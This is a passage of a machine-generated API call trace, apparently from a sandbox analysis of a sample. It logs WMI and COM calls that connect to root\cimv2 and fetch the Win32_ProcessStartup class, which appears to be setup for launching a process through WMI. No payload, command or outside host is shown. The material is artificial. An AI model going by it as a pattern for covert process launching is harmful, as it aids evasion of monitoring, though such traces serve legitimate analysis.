(This=0x1bea0fb0) returned 0x2 [0071.389] WbemDefPath:IUnknown:Release (This=0x1bea0fb0) returned 0x1 [0071.389] CoGetContextToken (in: pToken=0x1b2fd650 | out: pToken=0x1b2fd650) returned 0x0 [0071.389] CoGetContextToken (in: pToken=0x1b2fd550 | out: pToken=0x1b2fd550) returned 0x0 [0071.389] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0fb0, riid=0x1b2fd6b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd680 | out: ppvObject=0x1b2fd680*=0x1bea0fb0) returned 0x0 [0071.389] WbemDefPath:IUnknown:AddRef (This=0x1bea0fb0) returned 0x3 [0071.389] WbemDefPath:IUnknown:Release (This=0x1bea0fb0) returned 0x2 [0071.389] WbemDefPath:IWbemPath:SetText (This=0x1bea0fb0, uMode=0x4, pszPath="Win32_ProcessStartup") returned 0x0 [0071.389] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea0fb0, puCount=0x1b2fda60 | out: puCount=0x1b2fda60*=0x0) returned 0x0 [0071.389] WbemDefPath:IWbemPath:GetText (in: This=0x1bea0fb0, lFlags=2, puBuffLength=0x1b2fda58*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fda58*=0x15, pszText=0x0) returned 0x0 [0071.389] WbemDefPath:IWbemPath:GetText (in: This=0x1bea0fb0, lFlags=2, puBuffLength=0x1b2fda58*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1b2fda58*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0071.389] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bea0fb0, uRequestedInfo=0x0, puResponse=0x1b2fda78 | out: puResponse=0x1b2fda78*=0xc15) returned 0x0 [0071.389] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea0fb0, puCount=0x1b2fda60 | out: puCount=0x1b2fda60*=0x0) returned 0x0 [0071.389] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bea0fb0, uRequestedInfo=0x0, puResponse=0x1b2fda78 | out: puResponse=0x1b2fda78*=0xc15) returned 0x0 [0071.389] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea0fb0, puCount=0x1b2fd9c0 | out: puCount=0x1b2fd9c0*=0x0) returned 0x0 [0071.389] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1169200, puCount=0x1b2fd980 | out: puCount=0x1b2fd980*=0x2) returned 0x0 [0071.390] WbemDefPath:IWbemPath:GetText (in: This=0x1169200, lFlags=4, puBuffLength=0x1b2fd978*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd978*=0xf, pszText=0x0) returned 0x0 [0071.390] WbemDefPath:IWbemPath:GetText (in: This=0x1169200, lFlags=4, puBuffLength=0x1b2fd978*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd978*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0071.390] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd8d8 | out: ppv=0x1b2fd8d8*=0x111f638) returned 0x0 [0071.390] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd8c8 | out: pAptType=0x1b2fd8c8*=1) returned 0x0 [0071.390] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd8d0 | out: ppvObject=0x1b2fd8d0*=0x0) returned 0x80004002 [0071.390] IUnknown:Release (This=0x111f638) returned 0x1 [0071.391] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fccf0 | out: ppv=0x1b2fccf0*=0x1bedb0d0) returned 0x0 [0071.392] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bedb0d0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcd38 | out: ppvObject=0x1b2fcd38*=0x0) returned 0x80004002 [0071.392] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bedb0d0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcce8 | out: ppvObject=0x1b2fcce8*=0x1bea0e30) returned 0x0 [0071.392] WbemDefPath:IUnknown:Release (This=0x1bedb0d0) returned 0x0 [0071.392] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0e30, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcaf8 | out: ppvObject=0x1b2fcaf8*=0x1bea0e30) returned 0x0 [0071.392] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0e30, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcba0 | out: ppvObject=0x1b2fcba0*=0x0) returned 0x80004002 [0071.392] WbemDefPath:IUnknown:AddRef (This=0x1bea0e30) returned 0x3 [0071.392] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0e30, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc248 | out: ppvObject=0x1b2fc248*=0x0) returned 0x80004002 [0071.392] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0e30, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc1d0 | out: ppvObject=0x1b2fc1d0*=0x0) returned 0x80004002 [0071.392] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0e30, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc1c0 | out: ppvObject=0x1b2fc1c0*=0x1bedb110) returned 0x0 [0071.392] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bedb110, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc1e8 | out: pCid=0x1b2fc1e8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0071.392] WbemDefPath:IUnknown:Release (This=0x1bedb110) returned 0x3 [0071.393] CoGetContextToken (in: pToken=0x1b2fc270 | out: pToken=0x1b2fc270) returned 0x0 [0071.393] CoGetContextToken (in: pToken=0x1b2fc6f0 | out: pToken=0x1b2fc6f0) returned 0x0 [0071.393] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0e30, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc7b0 | out: ppvObject=0x1b2fc7b0*=0x0) returned 0x80004002 [0071.393] WbemDefPath:IUnknown:Release (This=0x1bea0e30) returned 0x2 [0071.393] WbemDefPath:IUnknown:Release (This=0x1bea0e30) returned 0x1 [0071.393] CoGetContextToken (in: pToken=0x1b2fd510 | out: pToken=0x1b2fd510) returned 0x0 [0071.393] CoGetContextToken (in: pToken=0x1b2fd410 | out: pToken=0x1b2fd410) returned 0x0 [0071.393] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0e30, riid=0x1b2fd570*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd540 | out: ppvObject=0x1b2fd540*=0x1bea0e30) returned 0x0 [0071.393] WbemDefPath:IUnknown:AddRef (This=0x1bea0e30) returned 0x3 [0071.393] WbemDefPath:IUnknown:Release (This=0x1bea0e30) returned 0x2 [0071.393] WbemDefPath:IWbemPath:SetText (This=0x1bea0e30, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0071.393] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea0e30, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0071.393] WbemDefPath:IWbemPath:GetText (in: This=0x1bea0e30, lFlags=4, puBuffLength=0x1b2fd8e8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8e8*=0xf, pszText=0x0) returned 0x0 [0071.393] WbemDefPath:IWbemPath:GetText (in: This=0x1bea0e30, lFlags=4, puBuffLength=0x1b2fd8e8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd8e8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0071.393] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd968 | out: ppv=0x1b2fd968*=0x111f638) returned 0x0 [0071.394] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd958 | out: pAptType=0x1b2fd958*=1) returned 0x0 [0071.394] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd960 | out: ppvObject=0x1b2fd960*=0x0) returned 0x80004002 [0071.394] IUnknown:Release (This=0x111f638) returned 0x1 [0071.395] CoGetClassObject (in: rclsid=0x11a5298*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcf10 | out: ppv=0x1b2fcf10*=0x1bedaeb0) returned 0x0 [0071.395] WbemLocator:IUnknown:QueryInterface (in: This=0x1bedaeb0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcf58 | out: ppvObject=0x1b2fcf58*=0x0) returned 0x80004002 [0071.395] WbemLocator:IClassFactory:CreateInstance (in: This=0x1bedaeb0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcf08 | out: ppvObject=0x1b2fcf08*=0x1bedaed0) returned 0x0 [0071.395] WbemLocator:IUnknown:Release (This=0x1bedaeb0) returned 0x0 [0071.395] WbemLocator:IUnknown:QueryInterface (in: This=0x1bedaed0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcd18 | out: ppvObject=0x1b2fcd18*=0x1bedaed0) returned 0x0 [0071.395] WbemLocator:IUnknown:QueryInterface (in: This=0x1bedaed0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcdc0 | out: ppvObject=0x1b2fcdc0*=0x0) returned 0x80004002 [0071.395] WbemLocator:IUnknown:AddRef (This=0x1bedaed0) returned 0x3 [0071.395] WbemLocator:IUnknown:QueryInterface (in: This=0x1bedaed0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc468 | out: ppvObject=0x1b2fc468*=0x0) returned 0x80004002 [0071.395] WbemLocator:IUnknown:QueryInterface (in: This=0x1bedaed0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc3f0 | out: ppvObject=0x1b2fc3f0*=0x0) returned 0x80004002 [0071.395] WbemLocator:IUnknown:QueryInterface (in: This=0x1bedaed0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc3e0 | out: ppvObject=0x1b2fc3e0*=0x0) returned 0x80004002 [0071.395] CoGetContextToken (in: pToken=0x1b2fc490 | out: pToken=0x1b2fc490) returned 0x0 [0071.396] CoGetContextToken (in: pToken=0x1b2fc910 | out: pToken=0x1b2fc910) returned 0x0 [0071.396] WbemLocator:IUnknown:QueryInterface (in: This=0x1bedaed0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc9d0 | out: ppvObject=0x1b2fc9d0*=0x0) returned 0x80004002 [0071.396] WbemLocator:IUnknown:Release (This=0x1bedaed0) returned 0x2 [0071.396] WbemLocator:IUnknown:Release (This=0x1bedaed0) returned 0x1 [0071.396] CoGetContextToken (in: pToken=0x1b2fd4c0 | out: pToken=0x1b2fd4c0) returned 0x0 [0071.396] CoGetContextToken (in: pToken=0x1b2fd3c0 | out: pToken=0x1b2fd3c0) returned 0x0 [0071.396] WbemLocator:IUnknown:QueryInterface (in: This=0x1bedaed0, riid=0x1b2fd520*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1b2fd4f0 | out: ppvObject=0x1b2fd4f0*=0x1bedaed0) returned 0x0 [0071.396] WbemLocator:IUnknown:AddRef (This=0x1bedaed0) returned 0x3 [0071.396] WbemLocator:IUnknown:Release (This=0x1bedaed0) returned 0x2 [0071.396] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea0e30, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0071.396] WbemDefPath:IWbemPath:GetText (in: This=0x1bea0e30, lFlags=8, puBuffLength=0x1b2fd8e8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8e8*=0xf, pszText=0x0) returned 0x0 [0071.396] WbemDefPath:IWbemPath:GetText (in: This=0x1bea0e30, lFlags=8, puBuffLength=0x1b2fd8e8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd8e8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0071.396] CoCreateInstance (in: rclsid=0x7fef726b060*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fef726b0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1b2fd630 | out: ppv=0x1b2fd630*=0x1bedaef0) returned 0x0 [0071.396] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1bedaef0, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1b2fd798 | out: ppNamespace=0x1b2fd798*=0x1bf28f80) returned 0x0 [0071.692] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf28f80, riid=0x7fef726aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd4a8 | out: ppvObject=0x1b2fd4a8*=0x1bef2530) returned 0x0 [0071.693] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1bef2530, pProxy=0x1bf28f80, pAuthnSvc=0x1b2fd570, pAuthzSvc=0x1b2fd4f0, pServerPrincName=0x1b2fd520, pAuthnLevel=0x1b2fd4f4, pImpLevel=0x1b2fd4fc, pAuthInfo=0x1b2fd528, pCapabilites=0x1b2fd4f8 | out: pAuthnSvc=0x1b2fd570*=0xa, pAuthzSvc=0x1b2fd4f0*=0x0, pServerPrincName=0x1b2fd520, pAuthnLevel=0x1b2fd4f4*=0x6, pImpLevel=0x1b2fd4fc*=0x2, pAuthInfo=0x1b2fd528, pCapabilites=0x1b2fd4f8*=0x1) returned 0x0 [0071.693] WbemLocator:IUnknown:Release (This=0x1bef2530) returned 0x1 [0071.693] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf28f80, riid=0x7fef726aed0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd440 | out: ppvObject=0x1b2fd440*=0x1bef2570) returned 0x0 [0071.693] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf28f80, riid=0x7fef726aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x1bef2530) returned 0x0 [0071.693] WbemLocator:IClientSecurity:SetBlanket (This=0x1bef2530, pProxy=0x1bf28f80, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0071.693] WbemLocator:IUnknown:Release (This=0x1bef2530) returned 0x2 [0071.693] WbemLocator:IUnknown:Release (This=0x1bef2570) returned 0x1 [0071.693] CoTaskMemFree (pv=0x1beaaf50) [0071.693] WbemLocator:IUnknown:AddRef (This=0x1bf28f80) returned 0x2 [0071.693] WbemLocator:IUnknown:Release (This=0x1bedaef0) returned 0x0 [0071.694] CoGetContextToken (in: pToken=0x1b2fc6b0 | out: pToken=0x1b2fc6b0) returned 0x0 [0071.694] CoGetContextToken (in: pToken=0x1b2fcb30 | out: pToken=0x1b2fcb30) returned 0x0 [0071.694] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf28f80, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x1bef2540) returned 0x0 [0071.694] WbemLocator:IRpcOptions:Query (in: This=0x1bef2540, pPrx=0x1bedb570, dwProperty=2, pdwValue=0x1b2fcbe0 | out: pdwValue=0x1b2fcbe0) returned 0x80004002 [0071.694] WbemLocator:IUnknown:Release (This=0x1bef2540) returned 0x2 [0071.694] CoGetContextToken (in: pToken=0x1b2fd200 | out: pToken=0x1b2fd200) returned 0x0 [0071.694] CoGetContextToken (in: pToken=0x1b2fd100 | out: pToken=0x1b2fd100) returned 0x0 [0071.694] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf28f80, riid=0x1b2fd260*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1b2fd080 | out: ppvObject=0x1b2fd080*=0x1bf28f80) returned 0x0 [0071.694] WbemLocator:IUnknown:Release (This=0x1bf28f80) returned 0x2 [0071.694] SysStringLen (param_1=0x0) returned 0x0 [0071.694] WbemDefPath:IWbemPath:GetText (in: This=0x1bea0fb0, lFlags=2, puBuffLength=0x1b2fd9c8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd9c8*=0x15, pszText=0x0) returned 0x0 [0071.694] WbemDefPath:IWbemPath:GetText (in: This=0x1bea0fb0, lFlags=2, puBuffLength=0x1b2fd9c8*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1b2fd9c8*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0071.695] IWbemServices:GetObject (in: This=0x1bf28f80, strObjectPath="Win32_ProcessStartup", lFlags=0, pCtx=0x0, ppObject=0x1b2fd810*=0x0, ppCallResult=0x0 | out: ppObject=0x1b2fd810*=0x11e91d0, ppCallResult=0x0) returned 0x0 [0071.697] IWbemClassObject:Get (in: This=0x11e91d0, wszName="__PATH", lFlags=0, pVal=0x1b2fd8f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fda48*=0, plFlavor=0x1b2fda40*=0 | out: pVal=0x1b2fd8f8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup", varVal2=0x0), pType=0x1b2fda48*=8, plFlavor=0x1b2fda40*=64) returned 0x0 [0071.698] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x58 [0071.698] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x58 [0071.698] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd918 | out: ppv=0x1b2fd918*=0x111f638) returned 0x0 [0071.698] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd908 | out: pAptType=0x1b2fd908*=1) returned 0x0 [0071.698] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd910 | out: ppvObject=0x1b2fd910*=0x0) returned 0x80004002 [0071.698] IUnknown:Release (This=0x111f638) returned 0x1 [0071.700] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcd30 | out: ppv=0x1b2fcd30*=0x1bedaef0) returned 0x0 [0071.700] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bedaef0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcd78 | out: ppvObject=0x1b2fcd78*=0x0) returned 0x80004002 [0071.700] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bedaef0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcd28 | out: ppvObject=0x1b2fcd28*=0x1bea0d70) returned 0x0 [0071.700] WbemDefPath:IUnknown:Release (This=0x1bedaef0) returned 0x0 [0071.700] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0d70, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcb38 | out: ppvObject=0x1b2fcb38*=0x1bea0d70) returned 0x0 [0071.700] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0d70, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcbe0 | out: ppvObject=0x1b2fcbe0*=0x0) returned 0x80004002 [0071.701] WbemDefPath:IUnknown:AddRef (This=0x1bea0d70) returned 0x3 [0071.701] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0d70, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc288 | out: ppvObject=0x1b2fc288*=0x0) returned 0x80004002 [0071.701] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0d70, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc210 | out: ppvObject=0x1b2fc210*=0x0) returned 0x80004002 [0071.701] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0d70, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc200 | out: ppvObject=0x1b2fc200*=0x1bedaf10) returned 0x0 [0071.701] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bedaf10, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc228 | out: pCid=0x1b2fc228*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0071.701] 